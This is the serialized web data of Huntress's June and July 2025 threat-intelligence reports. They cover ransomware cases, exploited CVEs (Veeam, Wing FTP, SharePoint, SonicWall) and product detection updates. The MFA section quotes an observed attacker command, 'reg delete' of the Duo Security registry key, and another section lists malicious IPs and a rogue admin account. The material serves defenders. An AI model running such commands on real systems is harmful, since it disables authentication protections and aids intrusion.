","Jamie is also a researcher, developer and board member of the Volatility Foundation. She has worked over 15 years in the digital forensics industry, conducting investigations as well as building out software solutions.","Jamie",[409,410,411],"Senior Director, Adversary Tactics","Levy","https://www.linkedin.com/in/jlevy77/",{"_181":407,"_301":17,"_302":17,"_183":408},"https://images.huntress.com/asset/file/a50ef9a9091b4b1b953f24c04cee8b3a","https://images.huntress.com/asset/file/f466d74a8f3b4603b6f5a9662a0612c0","Jamie Levy profile picture","jamie-levy","specialties","initial access",[93],"Read blog posts from Jamie Levy on the Huntress Blog.","Jamie Levy | Huntress",{"_266":414},{"_266":413},{"_266":412},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":419},"levelText","May 2025","levelLinkUrl","/threat-library/adversary-tactics","/threat-library","Threat Library",{"_58":59,"_60":427,"_62":428,"_64":429,"_66":430,"_68":431,"_74":432,"_77":433,"_56":426,"_79":434,"_81":435,"_436":17,"_83":437,"_85":438,"_87":439,"_89":90,"_91":440},"7c3f1f67bfeb42abbfb97050a64d8717","Threat View from the Lens of Huntress Adversary Tactics: June 2025",[632,633,634],{"_94":95},[502,503,504,505,506],{"_186":501,"_188":189,"_94":17,"_190":191,"_183":192},{},{"_122":97,"_94":95},{"_181":500,"_183":426},{"_106":441},"Sun Jun 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)","showAdditionalResources",{"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"june-2025",{"_94":95},[93],[442,443,444,445,446,447],{"_113":166,"_115":488,"_117":489,"_118":490},{"_113":166,"_115":482,"_117":483,"_118":484},{"_113":166,"_115":476,"_117":97,"_118":156},{"_113":166,"_115":471,"_117":472,"_118":144},{"_113":166,"_115":454,"_117":455,"_118":131},{"_113":166,"_115":448,"_117":97,"_118":119},[449,450],{"_122":453,"_102":127,"_125":97},{"_122":451,"_102":452,"_125":97},"

John Hammond joined the Research Saturday Cyberwire Daily podcast to talk about the critical Gladinet CentreStack and Triofox vulnerability (CVE-2025-30406), based on our Rapid Response from April. Here is an excerpt from the podcast:

“I think there’s been some interesting conversations that followed this, because this ViewState deserialization is… established in the information security and information technology ecosystem… so we’re kind of scratching our heads, [asking] ‘why are we still stuck with this, and are there other applications or software that have this same fault?’ So we saw some write-ups and articles from Microsoft, we saw other vendors, ConnectWise, making some changes to their ScreenConnect application, and other things to try to mitigate this, so this glaring, potentially open hole is not an attack surface for the future. And I’m glad to see and hear the industry… having the wherewithal to say ‘oh yeah, let’s get ahead of this so there’s not more damage done.’”

","Notable External Media","

This month’s June Tradecraft Tuesday centered around AI. Chris Henderson and Truman Kain talked about the varying use cases for AI, and how both defenders and threat actors can use AI.

$\"\"$

",[456,457,458,459,460],"

We’d also like to highlight some killer new capabilities that our partners in Product Research and Product have released to mess up attackers. We can’t wait to start using this data to expand our understanding of the threat actors our customers face.

",{"_122":469,"_102":470,"_125":97},{"_122":467,"_102":468,"_125":97},{"_122":465,"_102":466,"_125":97},{"_122":463,"_102":464,"_125":97},{"_122":461,"_102":462,"_125":97},"

Behavior-Based Assignments

Huntress introduced Behavior-Based Assignments, which combines Huntress Managed EDR, Huntress Managed SAT, and Huntress Managed ITDR in order to help customers identify and mitigate human risks in an organization. This capability allows businesses to provide targeted, real-time and tailored training for individual users (or across the organization) after an incident occurred - all from the Huntress platform. This can help address the risky behaviors that occurred and lower the chances of them happening again. Learn more about Behavior-Based Assignments here.

","More Product News","

Threat Simulator from Huntress Managed SAT

Huntress Managed SAT this month introduced a new Threat Simulator, which allows users to interact with threats in an engaging way, almost like a game, while giving them hands-on experience with real threat actor tactics.

As covered in a recent blog post by James O’Leary on the announcement, after a month of early access, more than 24,000 learners completed the optional first Threat Simulation, which covered OSINT. It took users an average of 1.51 attempts to complete the simulation (since you can “lose”), which indicates that they were engaged enough to try again. To learn more and see a demo, check out our on-demand webinar: “Breaking Down Barriers in SAT: Introducing Huntress Threat Simulator.”

$\"\"$

","Managed SAT","

We have added support for Cloudflare, and Wiz alerts as HEC log sources, as well as extended retention for SIEM data: 90 days hot, and 7 YEARS cold storage!

More details about these updates can be seen on this month’s Product Lab, where you get to hear about upcoming features directly from Kyle Hanslovan, CEO and co-founder of Huntress, and Chris Bisnett, CTO and co-founder of Huntress! If you’re not watching Product Lab, you should!

$\"\"$

Additionally, in the last two weeks our Detections Engineering team recently added 7 new detections and tuned 1 existing detection. These include new high-priority detections for the Evil-WinRM tool and credential theft techniques like LSADump.

","Managed SIEM","

There’s a new feature just released in ITDR: identity disablement and re-enablement for Active Directory (AD) synced identities, also known as hybrid identities.

This update closes a significant gap in our containment and remediation capabilities—and it brings protection parity to the 47%+ of identities using AD sync in their Microsoft 365 configurations. Previously, these environments couldn’t fully benefit from Huntress-initiated identity containment. This is a huge deal for customers with on-prem AD using Microsoft Entra Connect, where disabling a cloud identity wasn’t enough, and was one of our most requested features. Awesome work by the ITDR team for getting this built and shipped! 🎉

$\"\"$

We also recently introduced Targeting Phishing-as-a-Service (PhaaS): A new high-priority detection for Managed ITDR identifies successful authentications originating from Flowerstorm, a newly observed Phishing-as-a-Service kit. Detecting account compromise from these advanced phishing platforms is crucial for protecting accounts from takeover.

","Managed ITDR","

macOS: XProtect Detections

This month, we announced some exciting news for our macOS users: in Huntress Managed EDR, we’ve extended our threat detection and response coverage for macOS users using both Apple’s XProtect antivirus and integration with Microsoft Defender for Endpoints for macOS. Our SOC will now monitor alerts from these sources - and will take action to neutralize attackers.

At the same time, extending Microsoft Defender to macOS allows customers to get more value out of their Defender licenses with our EDR, bringing more protection to Macs.

$\"\"$ \nHuntress Managed Security Platform with investigated XProtect alerts

Detections Engineering added 10 new detections and 22 existing detections over the last two weeks. Recent additions to Huntress EDR significantly advance our ability to stop sophisticated attacks, with a strong focus on disrupting ransomware kill chains and exposing stealthy post-exploitation activities. Our SOC is empowered by these new capabilities to deliver high-fidelity alerts.

This includes:

Expedited Detections – Swiftly Neutralizing Active Threats: Confronting Ransomware & Vulnerability Exploitation: Huntress now more effectively identifies specific ransomware strains like Qilin and detects when ransomware overwrites files with a malicious extension. We have also added critical detection for the exploitation of a recently discovered vulnerability that allows for arbitrary code execution (CVE-2025-33053).
Exposing Attacker Tools and Post-Exploitation: Our platform is now better at unmasking attacker tradecraft like the use of SharpSuccessor, a tool that exploits a known vulnerability for execution. We have also enhanced detections for malicious LOLBIN (Living off the Land Binary) abuse where legitimate system tools are used to execute malicious DLLs.

Hunting Detections – Proactively Uncovering Stealthy & Novel Attacks: Detecting Abuse of Legitimate Tools: Huntress now proactively hunts for the abuse of legitimate tools like SimpleHelp for suspicious remote access activity and the use of WinRAR to archive potentially sensitive data from shares on a server.

","Managed EDR",[473],"

Our Rapid Responses spin up when we see attackers take advantage of vulnerabilities or threats to scale up their attacks. We work with different specialized security teams across Huntress to figure out the potential impact and what new and/or novel information we can share externally. We also notify potentially impacted customers and publish a blog with all the juicy details to help the broader security ecosystem stay vigilant. Here is an example of a Rapid Response that we’ve worked on in the last month:

",{"_122":474,"_102":475,"_125":97},"

In June, Alden Schmidt, Stuart Ashenbrenner, and Jonathan Semon published a threat analysis of their investigation into a sophisticated DPRK intrusion in a macOS customer environment at a cryptocurrency foundation. Because this intrusion was (luckily) isolated to one customer, it didn’t necessarily qualify as a typical Rapid Response. But due to the incident’s complexity and our hope to keep others safe from this threat, we spun out what we’re calling a Rapid Response Lite.

Alden, Stuart, and Jon shared several unique aspects of this macOS intrusion:

The initial access phase involved an employee of a cryptocurrency firm tricked into joining a Zoom meeting with several deepfakes pretending to be senior leadership in their company
We found eight new pieces of macOS malware, including a keylogger and an infostealer
The malicious payload was deployed via process injection. This is a familiar technique for Windows, but hasn’t historically been common on macOS due to more inherent security restrictions
The intrusion is attributed to a DPRK APT group (tracked as TA444 or BlueNoroff), a state-sponsored actor known for targeting cryptocurrency companies

$\"\"$

We’ve seen macOS become a bigger target for threat actors over the past few years - especially sophisticated, state-sponsored attackers. Scrutinize meeting invites that encourage you to switch platforms or load extensions from non-official sources because this could be a potential cyberattack from a high-level attacker with advanced capabilities.

","Feeling Blue(Noroff): Inside a Sophisticated DPRK Web3 Intrusion",[477,478],{"_122":481,"_102":161,"_125":97},{"_122":479,"_102":480,"_125":97},"

A directory traversal vulnerability in SimpleHelp RMM, tracked as CVE-2024-57727, has been the initial access point for multiple ransomware groups in recent months. Most notably, the DragonForce ransomware group used the flaw within MSPs to target clients and turn a single breach into multiple compromises. In addition, Play ransomware group used this flaw to target healthcare facilities worldwide. This vulnerability highlights the current trend of attackers prioritizing “hit once, affect many” attacks, targeting supply chains, food vendors, IT support, and security vendors, and ultimately, their downstream customers and clients.

$\"\"$

The uptick in RMM exploitation, as well as other shared component attacks, is linked with ransomware groups looking to maximize profits, and their affiliates trying to quickly evade detection before exfiltrating data and ransoming victims.

","Noteworthy Vulnerabilities","

Qilin ransomware group has been one of the most active ransomware groups in the last few months, using new techniques to drive more successful initial access attempts. The most noteworthy change is their shift to using more recent Fortinet flaws for initial access. They’ve been seen actively exploiting both CVE-2024-21762 and CVE-2024-55591 across multiple victims’ environments. These attacks affect both FortiOS and Fortinet’s VPN systems and were the primary suspects in a coordinated attack across dozens of victims last month. Qilin has also made their attack system completely automated, essentially making their own vulnerability scanning toolkit or utilizing existing toolkits and integrating them with their Ransomware as a Service (RaaS) provisions.

Qilin was also seen directly targeting MSPs, with phishing attacks starting in April and continuing into June, with the sole purpose of gaining access to downstream customers en masse. Unlike previous attacks using Attacker-in-the-Middle (AiTM) toolkits like Evilginx, these current attacks abuse spoofed domains of ScreenConnect providers, often using the .ms TLD. Victims were redirected to a proxy page that sent the user’s credentials to legitimate ScreenConnect services to validate credentials.

Qilin is one of the most dangerous and prolific ransomware operators we’ve seen in the last few months because of these recent TTPs.

",[485],"

Our Hunting & Tactical Response team was developed as a separate function within our SOC for deep dives into intrusions and to answer partners’ questions outside the scope of 24x7 SOC operations. It meets the “sweet spot” between a standard MDR offering and a more intensive and formal Incident Response. Our Tactical Response findings also give us a lot of clues about how intrusions play out.

","Tactical Response",{"_122":486,"_102":487,"_125":97},"

Tactical Response zeroes in on unknowns about initial access, root cause analysis, and timelines of adversary activity, including machines that don’t have the Huntress agent installed on them.

As seen below, the Tactical Response team uncovered various initial access vectors over the past year. In the cases investigated by the Tactical Response team (not comprehensive of all Huntress findings), the majority of initial access vectors (63.8%) were compromised VPN appliances, including malicious logins with stolen or brute-forced credentials. Exposed Remote Desktop Protocol (RDP) was another popular initial access vector, taking second place at 17.1%. Third place goes to exposed external perimeter, seen in 5.8% of all initial access vectors.

You can get a detailed breakdown on initial access vectors in this blog from Anton Ovrutsky and our Tactical Response team.

$\"\"$

","Uncovering Initial Access Vectors",[491,492,493],"

Adversary Tactics documents, makes sense of, and informs the broader community about interesting threats that surface from our SOC. Here are some examples of standout trends we’ve seen in the last few weeks.

","Threats Seen in our SOC",{"_122":498,"_102":499,"_125":97},{"_122":496,"_102":497,"_125":97},{"_122":494,"_102":495,"_125":97},"

Multiple businesses in June were compromised after threat actors exploited a known Veeam vulnerability (CVE-2024-40711) to remotely execute malicious commands. The unauthenticated remote code execution vulnerability was first publicly disclosed and fixed in September 2024. In October 2024, the flaw was added to the US Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerability (KEV) catalog, indicating that threat actors are exploiting it. Researchers previously said the Akira and Fog ransomware groups have targeted this flaw.

$\"\"$

These incidents highlight how important it is for businesses to stay current with patches. This vulnerability already has a critical-severity ranking on the CVSS 3.0 scale (9.8 out of 10). The US government and security researchers are both warning that ransomware actors are targeting this flaw, signaling the heightened importance of patching this vulnerability. Patches for the flaw have been available for nine months, but threat actors successfully exploit vulnerabilities that have been around for years, even when patches are readily available.

","Exploitation of Known Veeam Flaw (CVE-2024-40711)","

In June, Huntress encountered a threat actor attempting to disable an MFA security application, as seen in the following command:

cmd.exe /Q /c reg delete “HKLM\\Software\\Duo Security” 1> \\Windows\\Temp\\gGutd1 2>&1

The aim of deleting the Registry key through the command above is to disable Duo Security. Further analysis of the reported victim endpoints showed that Duo Security wasn’t installed on those endpoints, though it was installed on other endpoints across the victim’s infrastructure.

The threat actor likely encountered an endpoint with Duo Security or got information from an external source, like an Initial Access Broker, that Duo Security was already installed in this environment. Either way, the threat actor decided to take a “shotgun approach” for speed over stealth, attempting to delete this Registry key without first checking if Duo was installed on the endpoint.

","Threat Actors Target MFA","

Our SOC recently uncovered a five-minute, 40-second LockBit attack.

In June, a dentist office’s ransomware canaries were triggered for LockBit. After we tasked and reviewed the logs, we found the threat actor accessed a TeamViewer remote monitoring and management (RMM) tool to deploy the ransomware. The aS7Egd7xh.README.txt ransom note was created at 7:08 UTC, only around five minutes after the first initial access occurred at 7:02 UTC.

$\"\"$

While the average time-to-ransom is 16.88 hours, according to the Huntress 2025 Cyber Threat Report, a 10-minute attack path is alarming. This spells out why it is absolutely essential to catch attackers as early as possible in the ransomware attack path.

","A Fast-Moving LockBit Attack","Huntress SOC analysts break down June 2025 threats including a fast-moving LockBit attack, MFA targeting, Veeam CVE-2024-40711 exploitation, and a DPRK Web3 intrusion.",{"_193":194,"_195":196,"_104":197},{"_203":614},{"_203":596},{"_203":578},{"_203":522},{"_203":507},{"_205":206,"_54":207,"_32":208,"_209":508},{"_211":212,"_213":214,"_34":509,"_216":217,"_218":510,"_54":207,"_220":221,"_222":223,"_224":221,"_225":511,"_227":228,"_56":229,"_230":230,"_231":512,"_233":513,"_235":236,"_237":514},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":515,"_250":251,"_252":253,"_254":255,"_77":516,"_56":229,"_257":258,"_259":260,"_85":261,"_91":517},[],{},[],"cc57wnf519p",{},[518,519],{"_181":263,"_183":229},[93],{"_266":521},{"_266":520},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":523},{"_211":274,"_213":275,"_34":524,"_216":275,"_218":525,"_54":272,"_222":278,"_224":221,"_225":526,"_227":228,"_56":280,"_527":528,"_230":230,"_231":529,"_233":530,"_283":17,"_235":236,"_237":531},{"_240":285,"_242":286,"_246":287,"_248":532,"_250":289,"_252":290,"_77":533,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":534,"_298":299},[],{},"priority",-31877.5,[],"mfx5epxpfya",{},[535,536],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":561},{"_266":537},{"_205":206,"_54":270,"_32":248,"_209":538},{"_211":539,"_213":540,"_34":541,"_216":542,"_218":543,"_54":270,"_222":544,"_224":539,"_225":545,"_227":546,"_56":547,"_230":230,"_231":548,"_233":549,"_235":236,"_237":550},"Kz459QsZDzNpORbTSiA9L6WRQc23",1735687100903,{"_56":547},1735687106464,[],1735687106469,{"_551":552,"_553":95,"_554":17,"_555":34,"_556":97},"8749400659754b178d5088546f7b2f6f","Authors",[],"9uzhsxh5l37",{},"breakpoints",{"_557":558,"_559":560},"hasAutosaves","hasErrors","kind","lastPreviewUrl","medium",1023,"small",478,{"_205":206,"_54":308,"_32":248,"_209":562},{"_211":539,"_213":563,"_34":564,"_216":565,"_218":566,"_54":308,"_222":567,"_224":539,"_225":568,"_227":546,"_56":569,"_230":230,"_231":570,"_233":571,"_235":236,"_237":572},1742334085525,{"_56":569},1742334347569,[],1742334347573,{"_551":573,"_553":95,"_555":34,"_556":97},"Speakers",[],"fa175auyo4a",{},{"_557":574,"_559":575,"_576":577},991,767,"xsmall",479,{"_205":206,"_54":310,"_32":208,"_209":579},{"_211":274,"_213":312,"_34":580,"_216":312,"_218":581,"_54":310,"_220":221,"_222":582,"_224":221,"_225":583,"_227":228,"_56":317,"_230":230,"_231":584,"_233":585,"_235":236,"_237":586},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":587,"_250":325,"_252":326,"_254":327,"_77":588,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":589,"_298":334},[],1794039039239,{},[],"4ry0a34jmas",{},[590,591,592],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":595},{"_266":594},{"_266":593},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":597},{"_211":346,"_213":347,"_34":598,"_216":347,"_218":599,"_54":344,"_220":221,"_222":600,"_224":221,"_225":601,"_227":228,"_56":352,"_230":230,"_231":602,"_233":603,"_235":236,"_237":604},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":605,"_360":361,"_250":362,"_252":363,"_254":364,"_77":606,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":607,"_298":371},[],1794039093141,{},[],"ovlsgiqyhxa",{},[608,609,610],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":613},{"_266":612},{"_266":611},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":615},{"_211":346,"_213":383,"_34":616,"_216":383,"_218":617,"_54":381,"_220":221,"_222":618,"_224":221,"_225":619,"_227":228,"_56":388,"_230":230,"_231":620,"_233":621,"_283":17,"_235":236,"_237":622},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":623,"_250":396,"_252":397,"_254":398,"_77":624,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":625},[],1794039050210,{},[],"n6zbj8jl6q",{},[626,627,628],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":631},{"_266":630},{"_266":629},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":635},"June 2025",{"_58":59,"_60":639,"_62":640,"_64":641,"_66":642,"_68":643,"_74":644,"_77":645,"_56":638,"_79":646,"_81":647,"_83":648,"_85":649,"_87":650,"_89":90,"_91":651},"ae492ff52f894d479cc4f58a71277c5e","Threat View from the Lens of Huntress Adversary Tactics: July 2025",[851,852,853],{"_94":95},[724,725,726,727,728,729],{"_186":723,"_188":189,"_190":191,"_183":192},{},{"_122":97,"_94":17},{"_181":722,"_183":638},{"_106":652},"Thu Jul 31 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"july-2025",{"_94":95},[93],[653,654,655,656,657,658],{"_113":703,"_115":704,"_117":705,"_118":169},{"_113":697,"_115":698,"_117":699,"_118":484},{"_113":687,"_115":688,"_117":660,"_118":156},{"_113":166,"_115":676,"_117":677,"_118":144},{"_113":166,"_115":665,"_117":666,"_118":131},{"_113":166,"_115":659,"_117":660,"_118":119},[661,662],"

",{"_122":664,"_102":127,"_125":97},{"_122":663,"_102":452,"_125":97},"

Greg Linares joined the renowned Darknet Diaries podcast, where he talked about everything from being the youngest hacker to be arrested in Arizona to wild tales during his time at eEye. You can listen to the podcast here.

$\"\"$

","

This month’s Tradecraft Tuesday was a fun one: it centered around Hacking on Hollywood. Greg Linares, Matt Kiely, and John Hyland talked about the most accurate - and the worst - hacking scenes in popular film and TV shows.

$\"\"$

Haven’t signed up for our Tradecraft Tuesday series? Register here to check out our August episode “A Journey to the Center of the Dark Web.\"

",[667,668,669,670],"

While not a direct product of the Adversary Tactics team, we’d like to highlight some killer new capabilities that our partners in Product Research and Product have released to help mess up attackers. We can’t wait to start using this data to expand our understanding of the threat actors our customers face.

",{"_122":674,"_102":675,"_125":97},{"_122":673,"_102":470,"_125":97},{"_122":672,"_102":466,"_125":97},{"_122":671,"_102":464,"_125":97},"

Spearphishing simulation now in GA

Building upon our new Threat Simulator capability, we have released a new Spearphishing Simulation to the public, as an extension to August’s Managed Learning. The first simulation on OSINT was well received, and this new spearphishing simulation is no different. 93% of early participants said they gained new knowledge about hackers through the simulation.

Other updates

The SAT team also released Together Mode Learning - a new feature enabling admins to bring learners together in person (or through a screen-share virtual session) to complete security awareness training sessions together. Admins can also mark everyone as completed in the portal.

The team unveiled a new capability to the Learner models allowing us to associate more than one email with a single learner.

Finally, gradual rollout of SCIM support for learners is underway. Current partners and customers can reach out to their Huntress Account Manager if they are interested in joining the Beta.

","

Save and Schedule Searches

SIEM customers can now save queries and schedule them to run on a recurring basis. The results will be automatically emailed - this makes it easy to monitor key data without any additional manual effort.

Added support and detection logic

SIEM has added support for Cisco ASA (Adaptive Security Appliance) and Cisco Firepower Threat Defense as log sources. This will enable deeper visibility and streamlined analysis of network security events.

Additionally, FortiGate detection logic has been enhanced to support non-CEF formatted logs - allowing broader compatibility and more accurate parsing.

Successful brute force detection

A new VPN brute force detection is being tuned and has already caught \"bad stuff\" in testing, with brute force attack hunted down by our SOC.

","

Windows

Akira win: Akira is a major threat in the ransomware landscape, and recently Huntress Managed EDR scored a major win by successfully preventing Akira from encrypting a host. The automated protection built into the agent defended against multiple attempts until an analyst was able to isolate the host. The SOC was also able to pull artifacts from the ransomware - which we can now use to better refine our behavior detection efforts.

Bonus: If the customer had had SIEM installed, we would have been alerted 10 minutes earlier - demonstrating how SIEM helps neutralize threats earlier in the attack chain to give a leg up over attackers!

macOS

Expanded macOS Foothold Support: Foothold support for macOS has been expanded to cover the latest persistence technology and older mechanisms used by Mac malware, preventing evasion of Huntress detection.

","

This past month, the Detection Engineering team deployed 85 new detection rules. These additions are strategically designed to identify emerging attack methodologies that could impact organizational operations. The focus included crucial visibility into:

Hack Tools & Initial Access: Detecting various hack tools and their execution, suspicious PowerShell activity related to ClickFix initial access, rogue RMM installations, and malicious script execution from common entry points like archives in temporary folders.
Privilege Escalation & Defense Evasion: Uncovering attempts to escalate privileges, abuse service permissions to hide activity, tamper with event logs, or use encoded commands to bypass defenses on both Windows and Linux systems.
Ransomware & Malware Activity: Identifying patterns associated with known ransomware families, typical malware payload execution, and suspicious processes that indicate active infections.
Data Exfiltration & Command and Control: Spotting unauthorized data transfers to suspicious platforms and network connections that might indicate adversary communication channels.
SharePoint CVE-2025-49706 + CVE-2025-49704: Detects in-the-wild exploitation of SharePoint servers, which drops a webshell to export machine keys.

Additionally, 157 existing detection rules underwent meticulous review and refinement. Key improvements included:

Refining Initial Access Detections: Sharpening our ability to identify suspicious PowerShell execution from the registry, encoded PowerShell download activity, and various forms of suspicious execution originating from common user actions.
Strengthening Active Directory & Authentication Monitoring: Enhancing detections for Active Directory user backdoors, suspicious VPN authentications (especially with generic accounts), and unusual login patterns that could indicate compromised credentials.
Improving Defense Evasion & Persistence Detection: Boosting our capabilities to identify malicious service creation, modifications to system services, and the use of legitimate tools in suspicious ways to establish persistence or evade defenses.
Enhancing Lateral Movement & Reconnaissance Insights: Tuning rules to better detect internal network reconnaissance (e.g., domain discovery commands, user enumeration), lateral movement attempts, and the use of remote access tools in unusual locations.

","New Detection Rules",[678,679],"

For the unaffiliated, “Rapid Responses” spin up when there is a vulnerability or threat that attackers take advantage of to further escalate their attacks at scale. When we hear about a potential vulnerability, the Adversary Tactics team works across Huntress to figure out the potential impact, update our customers, and publish a blog for the security community with all the necessary threat activity details.

Here are some examples of Rapid Responses that we’ve handled in the last month:

",{"_122":684,"_102":685,"_682":95,"_125":686},{"_122":680,"_102":681,"_682":95,"_125":683},"

We saw active exploitation of Wing FTP Server remote code execution (CVE-2025-47812) in a customer environment on July 1, one day after public disclosure.

CVE-2025-47812 is a null byte and Lua injection flaw that leads to root/SYSTEM-level remote code execution if exploited. The vulnerability was first publicly disclosed on June 30 by Julien Ahrens in versions prior to 7.4.4 of the Wing FTP Server, its file transfer protocol software for Windows, Linux, and macOS. Organizations running Wing FTP Server should update to the fixed version, version 7.4.4, as soon as possible.

$\"\"$ WingFTP RCE exploitation (CVE-2025-47812) seen in the process tree

","Wing FTP Server Remote Code Execution (CVE-2025-47812) Exploited in the Wild","showTakeaway","

Even though we’ve only seen CVE-2025-47812 exploitation activity on one customer, we suggest updating to version 7.4.4 ASAP to minimize vulnerable exposures.

","

We’ve uncovered active Akira ransomware intrusions exploiting SonicWall appliances, letting adversaries bypass multi-factor authentication (MFA) and gain unauthorized access to internal networks. Using tactics similar to sophisticated ransomware groups like Akira, these threat actors swiftly pivot to domain controllers where they establish persistence by creating rogue user accounts like backupSQL with weak passwords like Password123$, and then elevating them to Domain Admins via commands like “net user” and “net group”. This chain of compromise typically results in Akira ransomware deployment and data exfiltration, with indicators of compromise being observed from malicious IPv4 addresses such as 142.252.99[.]59, 45.86.208[.]240, 77.247.126[.]239, 193.239.236[.]149, 104.238.205[.]105, 104.238.220[.]216, 193.163.194[.]7, and 194.33.45[.]155, often originating from SSL VPN logins.

$\"\"$ Visualization of the timeline of attacks

","Active Exploitation of SonicWall VPNs","

In the latest update to its advisory on August 6, SonicWall said it has high confidence that this recent threat activity is not connected to a zero-day flaw, but instead correlates with activity related to CVE-2024-40766, an improper access control flaw first published in August 2024 that can lead to “unauthorized resource access.” SonicWall said that many of the incidents appear to relate to migrations from sixth-generation to seventh-generation firewalls, where local user passwords were carried over during the migrations and were not reset after.

SonicWall is urging customers (who have imported configurations from Gen 6 to newer firewalls) to:

Update firmware to version 7.3.0
Reset all local user account passwords for accounts with SSL VPN access

Huntress recommends that impacted organizations rotate credentials—both local user account and LDAP account passwords used for Active Directory integration—out of an abundance of caution. We recommend that organizations stay vigilant as we continue to investigate this threat activity.

","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F7bb5ee55aaee4f01a9a759625948a56d",[689,690],{"_122":694,"_102":695,"_682":95,"_125":696},{"_122":691,"_102":692,"_682":95,"_125":693},"

In the past month, several high-profile cybersecurity busts have targeted notorious threat actors, bringing key victories for law enforcement. On July 8, the U.S. Justice Department arrested Xu Zewei, a 33-year-old Chinese national affiliated with the Ministry of State Security, for orchestrating the HAFNIUM campaign that exploited vulnerabilities in over 60,000 Microsoft Exchange servers worldwide. This campaign was the precursor to stolen COVID-19 research from multiple U.S. universities. Zewei is facing charges of wire fraud and computer damage, with up to 20 years in prison.

In mid-July, the UK's National Crime Agency arrested four young suspects, aged 17 to 20, linked to ransomware and data theft operations against major retailers, including M&S, Co-op, and Harrods. They’re being charged under the Computer Misuse Act and for blackmail. This arrest included alleged members of the Scattered Spider (UNC3944) group, and has momentarily shut down their phishing and ransomware campaigns against North American sectors. This group used tactics like push bombing and Raccoon Stealer malware, and several copycat operations continue to cause problems.

And finally, towards the end of July, Operation Checkmate, a collaborative effort involving U.S. agencies, Europol, and other international partners, seized the .onion extortion sites of the BlackSuit ransomware group. This disrupted their data leak and negotiation platforms, though the actors announced they may reemerge under the Chaos brand. Authorities stated that this was part of a multiple-phase takedown, with additional arrests and takedowns scheduled to occur in the next couple of months.

","Cybercrime Takedowns","

These takedowns emphasize the growing momentum in international cyber law enforcement, urging cybersecurity professionals to remain vigilant against these threats. The draw to cybercrime is growing, especially among younger individuals dealing with economic struggles, susceptible to social media recruiting, and tempted by the high-risk, high-reward payouts. This has caused law enforcement agencies to shift gears and target groups faster, as well as middle markets where these payouts and data exchanges occur. We’re seeing positive impacts from these operations, particularly where the infostealer and data dumping communities are particularly volatile.

","

The relatively new D4rk4rmy ransomware group claimed responsibility for high-profile attacks on Casino de Monte-Carlo and Big Rock Resort, drawing attention to aggressive targeting tactics, like potential data exfiltration and encryption against entertainment and hospitality sectors. This group’s legitimacy is under dispute, however many of their victims do appear to have been compromised by infostealer malware installs prior to their claims. It is believed that the D4rk4rmy ransomware group buys these available infostealer logs prior to these claims, and is perhaps embellishing the truth of the level of their compromises. Regardless of legitimacy this tactic highlights the common shift of many ransomware groups utilizing these resources in order to target victims.

China-linked hackers, including the threat actor known as Storm-2603, ramped up exploitation of Microsoft SharePoint servers as initial access vectors through a zero-day vulnerability chain dubbed ToolShell, including CVE-2025-49706 (an improper authentication spoofing flaw) and CVE-2025-49704 (an insecure deserialization vulnerability). This exploitation leads to SYSTEM-level access on affected systems and subsequent deployment of Warlock (aka X2anylock) and LockBit Black ransomware variants. Ransomware is deployed via a custom command-and-control (C2) framework named AK47 that implements DNS-controlled backdoors, persistent remote access, lateral movement between endpoints, and multi-stage payload delivery.

A harsh reminder of ransomware's devastating impact is the collapse of Einhaus-Gruppe, a major phone repair and insurance firm. It was hit by the Royal hack group and paid about $230,000 in ransom. After making the payment, Einhaus-Gruppe was forced to cut their workforce from 170 employees to eight despite drastic measures like selling property and liquidating investments, calling attention to the financial and operational ruin of these attacks even if ransom demands are met.

Meanwhile, the cross-platform Anubis ransomware is emerging as a dual threat. The ransomware infects both Android and Windows devices to encrypt files while stealing credentials. It is often distributed via phishing or malicious apps, posing significant risks to individual users and enterprises alike. This ransomware strain has introduced a new wiper feature that remotely wipes systems if the ransom is not paid. This will be introduced in additional ransomware families in the future and emphasizes the need for robust backup systems and post-incident isolation steps.

\n","Ransomware Drops","

Ransomware groups, ransomware-as-a-service (RaaS), and nation-state ransomware groups are collectively pivoting faster than ever. They’re moving across industries, changing targets, developing cross-platform malware, creating new C2 platforms, and using sophisticated zero days and advanced toolkits to stay persistent at every opportunity to maximize impact. The cost of being a ransomware victim is sometimes enough to close a business, and without the proper protection, guidance, and procedures in place, any organization can be impacted.

","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F8c2d2d16d1be4321aed626b2d918c566",[700],"

",{"_122":701,"_102":702,"_125":97},"

A recent project by the Tactical Response team has been to track successful ransomware incidents. The data tracked by the team gives us valuable information about the types of ransomware groups that are targeting our customer base, as well as the vectors that they target for initial access.

